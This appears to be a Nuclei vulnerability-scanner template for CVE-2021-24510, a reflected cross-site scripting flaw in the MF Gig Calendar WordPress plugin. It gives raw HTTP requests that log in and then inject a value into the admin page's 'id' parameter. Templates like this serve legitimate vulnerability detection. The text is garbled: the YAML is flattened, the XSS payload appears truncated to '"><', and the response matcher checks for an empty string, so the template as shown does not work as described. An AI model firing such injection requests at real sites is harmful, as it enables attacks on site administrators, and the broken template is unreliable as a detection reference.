id: CVE-2021-24510 info: name: MF Gig Calendar <= 1.1 - Reflected Cross-Site Scripting (XSS) author: dhiyaneshDK severity: medium description: The MF Gig Calendar WordPress plugin through 1.1 does not sanitise or escape the id GET parameter before outputting back in the admin dashboard when editing an Event, leading to a reflected Cross-Site Scripting issue reference: - https://wpscan.com/vulnerability/715721b0-13a1-413a-864d-2380f38ecd39 - https://nvd.nist.gov/vuln/detail/CVE-2021-24510 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2021-24510 cwe-id: CWE-79 tags: wordpress,cve,cve2021,wp-plugin,authenticated requests: - raw: - | POST /wp-login.php HTTP/1.1 Host: {{Hostname}} Origin: {{RootURL}} Content-Type: application/x-www-form-urlencoded Cookie: wordpress_test_cookie=WP%20Cookie%20check log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1 - | GET /wp-admin/admin.php?page=mf_gig_calendar&action=edit&id="><" HTTP/1.1 Host: {{Hostname}} cookie-reuse: true matchers-condition: and matchers: - type: word part: body words: - '' - type: status status: - 200 - type: word part: header words: - "text/html"